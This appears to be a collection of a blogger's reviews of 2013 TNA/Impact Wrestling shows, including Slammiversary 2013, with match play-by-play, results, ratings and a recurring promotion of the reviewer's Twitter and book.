Think this will be good? Tomko is with Angle. The fans like AJ more than Kurt. They hit the mat and guess who wins that part. AJ speeds things up and sends Angle to the floor with an armdrag. Back in and Angle tries to speed it up so AJ hits that dropkick of his to take over. Tomko talks some trash to let Angle get the fingers to the eye. Jesse Ventura is smiling somewhere off that.

 

 

 

 

Angle pops him with the chair post match and Tomko runs interference to keep security out. The ankle lock goes on and Angle pounds away a bit.

 

 

TNA World Title: Samoa Joe vs. Robert Roode vs. Booker T vs. Christian Cage vs. Rhyno

 

 

Christian is back in now and the knee looks ok. He hits an inverted DDT on Roode but gets struck down by Joe. Scoop powerslam gets two for Joe. He ties the Canadian in the Tree of Woe and hammers away and is in total control here. Booker trips him up and pulls him to the floor, pounding away out there. Booker comes back in and meets Rhyno with a Book End for a pin. Booker is now eligible to hang the belt and Rhyno is in the box for two minutes.

 

 

Nash beats up Roode to make sure that he gets in the box along with Cage. Rhyno goes up with the belt but Booker makes the save. Joe hooks a cobra clutch on Booker and Cage is freed from his namesake. He goes on top of the penalty box and hits a frog splash onto Booker to become eligible and send Booker to the box. Roode is out as well. Quick recap: Everyone but Joe is eligible and Booker is in the box.

 

Nash comes into the ring and powerbombs Booker off the ladder. That makes sense given that he was provoked. Joe tries a MuscleBuster on Christian but he escapes. Joe knocks Christian through the table from earlier as Roode sets up the ladder. Roode goes up but Joe takes him down with a MuscleBuster. Joe immediately goes up and hangs the belt to retain. That was a fast ending but it was effective and smart.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Impact Wrestling – June 6, 2013: A Hardy And A Dudley Climb A Ladder

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Date: June 6, 2013
Location: Gwinett Arena, Duluth, Georgia
Commentators: Mike Tenay, Tazz

Video on the BFG Series.

Bound for Glory Series Qualifying Match: Chavo Guerrero vs. Hernandez

Hernandez runs him over to start so Chavo tries to go after the arm. Chavo dropkicks him down for two and stays on the arm, only to be slammed down with ease. Hernandez misses a splash so Chavo hooks another armbar, only to have Hernandez easily lift him up. SuperMex throws Chavo down with a suplex followed by the over the shoulder backbreaker to put the smaller guy in trouble. A corner splash misses and Chavo hits a pair of suplexes, only to have the frog splash hit knees. The Border Toss is countered into a sunset flip but Hernandez counters into a rollup for the pin at 4:56.

Rampage is here.

Bound for Glory Series Qualifying Match: Samoa Joe vs. Robbie E

We get the Kurt Angle HOF video.

Austin Aries/Bobby Roode/Kenny King vs. Chris Sabin/Gunner/James Storm

Rating: C. This was your usual formula tag match but without enough time to really get anything going. Having all three new champions against their challengers is fine as you can combine both stories into a single match. This worked fine for what it was but hopefully they can do something new with the divisions instead of just doing the same stuff over and over again.

D-Von and Knux jump someone in the back, presumably Joseph Park.

Mickie James vs. Taeler Hendrix

We look at the card for next week and Angle vs. Jackson from earlier.

Bully Ray vs. Jeff Hardy

Jeff goes up but gets shoved into the top rope by the champ. Ray: “TAZ! MY BALLS!” Hardy comes back with a clothesline but gets shoved into the corner after he tries to climb again. The Whisper in the Wind puts Ray down but he gets up in time to pull the ladder out again, sending Hardy crashing to the mat.

Ray goes up and retrieves the ladder despite still feeling the effects of the low blow earlier. Jeff avoids the hammer shot and hits a Twisting Stunner to get the hammer for himself. Hardy misses a few swings of his own and Ray runs off to end the show. Jeff falls down on the ramp and is holding his hip or back. The match just ends at around 16:00.

Hardy is helped out by a referee and is holding his hip.

Ray wants his belt in the back but Hulk is sneaking up on him with a hammer. Brooke shouts at him to stop and Ray escapes to end the show.

Results

Hernandez b. Chavo Guerrero – Rollup

Samoa Joe b. Robbie E – Koquina Clutch

Chris Sabin/James Storm/Gunner b. Kenny King/Austin Aries/Bobby Roode – All Hail Sabin to King

Mickie James b. Taeler Hendrix – Spinning kick to the head

Bully Ray vs. Jeff Hardy went to a no contest

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Slammiversary 2013: TNA’s Best Show In Years

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Date: June 2, 2013
Location: Agganis Arena, Boston, Massachusetts
Commentators: Todd Keneley, Tazz, Mike Tenay

X-Division Title: Chris Sabin vs. Kenny King vs. Suicide

Back to Anderson to face Magnus with the Brit hitting a big boot but getting clotheslined down. Anderson goes to an armbar before Brisco comes in with a suplex for no cover. Back to the armbar for a bit before Anderson comes in to drop some knees on said arm. Brisco comes in again but gives up the advantage, allowing Magnus to make the hot tag to Jeff.

Quick video on Sting putting his career on the line to win the world title from several years ago.

Joseph Park talks about being here for his first anniversary in TNA and sucks up to the Boston crowd before D-Von and Knux jump him from behind.

Gut Check Tournament Final: Sam Shaw vs. Jay Bradley

Aries and Roode praise each other and Roode says that Gunner is no Bobby Roode.

We recap Joseph Park going crazy and morphing into Abyss mode to earn a TV Title shot.

TV Title: D-Von vs. Joseph Park

TV Title: D-Von vs. Abyss

Abyss cleans house of Knux and kicks D-Von in the face as the bell rings. Knux interferes from the floor to let D-Von get in a forearm to the face and take over with some very basic offense. Knee drops and right hands abound but a middle rope splash misses the monster. Abyss hits a splash in the corner followed by a chokeslam and the Black Hole Slam for the pin and the title at 3:49.

We look at Sting beating Angle for the title in the main event of Bound For Glory.

We look at Sting winning the world title at BFG 08.

Tag Titles: James Storm/Gunner vs. Hernandez/Chavo Guerrero vs. Bad Influence vs. Bobby Roode/Austin Aries

Taryn Terrell vs. Gail Kim

Gail attacks in the corner to start but Taryn comes back with clotheslines to take over. Gail puts on an octopus hold but lets it go early and only gets a six count. Kim goes to the floor for a chair but has it kicked out of her hands. Some hair drags keep Gail down for a few moments but she manages to get the chair up to block a high cross body. Gail is up first and goes after the knee for a bit before wedging the chair between the ropes. Taryn blocks a ram into the chair but gets caught in the Figure Four around the post.

Sting beat Anderson for the title in 2010 as well.

We recap AJ Styles becoming a whiny man and getting in a brawl with an overly aggressive Kurt, setting up their match tonight.

AJ Styles vs. Kurt Angle

Styles goes up to but but Kurt runs up the corner into a belly to back superplex, only to have AJ land on his feet. AJ charges at Angle but runs right into an overhead belly to belly to send Aj into the buckles. Styles pops up with a spinning backfist and a clothesline to put Angle down again. AJ tries a springboard dropkick but gets caught with a low blow and an Angle Slam for two.

Angle tries the ankle lock but AJ counters into his Calf Killer leg lock. Angle reverses into the ankle lock and grapevines the leg but Styles turns it over and kicks out of the hold. Angle misses a charge into the post and gets caught in the Tree of Woe for a dropkick to the ribs from Styles. The springboard 450 misses but the Angle Slam is countered into a rollup which is countered into a double leg takedown into a cover by Angle for the pin at 15:48.

TNA World Title: Sting vs. Bully Ray

This is no holds barred and if Sting loses, he can never challenge for the title again. Sting hits a Stinger Splash in the corner to start and pounds on Ray with the title belt on the floor. Back in and they slug it out with Sting clotheslining Ray down. A chop puts Ray down again and Sting beats him in the back with the belt again. They head back to the floor with Sting missing a Stinger Splash into the barricade. Ray whips Sting into the steps and the champion is in full control.

Results

Chris Sabin b. Kenny King and Suicide – Sabin pulled down the belt

Jay Bradley b. Sam Shaw – Boom Stick Lariat

Abyss b. D-Von – Black Hole Slam

James Storm/Gunner b. Chavo Guerrero/Hernandez, Bad Influence and Bobby Roode/Austin Aries – Gun Rack to Aries

Kurt Angle b. AJ Styles – Rollup

Bully Ray b. Sting – Hammer to the head

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Impact Wrestling – May 30, 2013: The Aces and 8’s Hour

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Date: May 30, 2013
Location: USF SunDome, Tampa, Florida
Commentators: Mike Tenay, Tazz, Todd Keneley

Bully Ray/D-Von vs. Joseph Park/Sting

Back with D-Von working over Park until Joseph gets in a shot and goes up. Ray crotches him to stop any momentum before coming in and dropping an elbow for two. Off to D-Von for some Hogan posing as Park lays on the mat. Back to D-Von for a jumping back elbow before Ray comes in for a pretty awesome looking dropkick. Park finally gets over for a tag and Sting starts cleaning house.

Samoa Joe vs. Garrett Bischoff

Austin Aries/Bobby Roode/Bad Influence vs. James Storm/Gunner/Chavo Guerrero/Hernandez

All of the heel team tries their luck with SuperMex but he runs them all down, only to have Kaz break up the Border Toss. Aries hits a sweet running dropkick in the corner to slow Hernandez down but Austin is suplexed down to counter the brainbuster. Gunner tags himself in and no sells a discus lariat before putting Aries in the Torture Rack for the submission from Aries at 9:30.

Bound For Glory is in San Diego.

Kenny King/Gail Kim vs. Taryn Terrell/Chris Sabin

Sting talks about all of his title wins over the years.

We run down the Slammiversary card.

Mr. Anderson vs. AJ Styles

Post match here are the bikers and all of their opponents on Sunday other than Jeff Hardy. Everyone but Sting and Ray clear out and the champ is put in the Scorpion, only to have D-Von make the save and hit 3D on Sting to end the show.

Results

Sting/Joseph Park b. D-Von/Bully Ray – Scorpion Death Drop to D-Von

Samoa Joe vs. Garrett Bischoff went to a no contest

Chavo Guerrero/Hernandez/Gunner/James Storm b. Bad Influence/Bobby Roode/Austin Aries – Torture Rack to Aries

AJ Styles b. Mr. Anderson via DQ when Kurt Angle interfered

 

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